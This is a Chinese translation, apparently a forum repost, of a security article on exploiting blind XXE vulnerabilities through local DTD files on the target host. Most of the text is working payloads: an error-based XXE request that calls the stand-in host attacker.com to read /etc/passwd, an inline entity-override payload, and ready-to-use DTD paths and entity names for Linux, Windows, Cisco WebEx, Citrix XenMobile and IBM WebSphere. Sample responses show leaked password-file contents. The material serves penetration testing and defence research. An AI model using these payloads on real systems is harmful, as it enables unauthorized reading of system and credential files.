我是如何使用本地DTD文件进行XXE攻击的(译)

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

近年来XXE的阻碍

假设你有一个XXE漏洞,支持外部实体,但是服务响应总是一片空白,这时候你一般有两个选项:报错或者外带(OOB)。

报错的示例类似这样

请求

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

响应

java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

看吧,这样就可以通过报错来获取文件了,但是如果有防火墙,可能就获取不到了。

如果我们把外部DTD直接插入呢,我们可能会看到类似这样的错误

请求

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

响应

Internal Error: SAX Parser Error. Detail:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

我们可以看到,可以通过外部DTD包含一个实体,但是不能直接写在DTD文档的内部

如何使用内部DTD

根据上面的信息,我们如果要利用本地文件,就需要使用外部DTD,那么换个思路,我们可以在目标主机上想办法获取一些DTD文件,并覆盖这些DTD文件中的变量,像这样

请求


<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

响应

java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

攻击成功是因为所有的XML实体都是常量,如果你定义了两个名字一样的实体,那么只有第一个会被使用。

如何寻找本地DTD文件

最快的方法是目录遍历。

在不同系统上的示例

下面是一些利用示例

Linux System

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows System

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

时间线

  • 01/01/2016 — 发现这个技巧
  • 12/12/2018 — 写下这篇文章 :D
  • 13/12/2018 — 文章完整发布
1 Like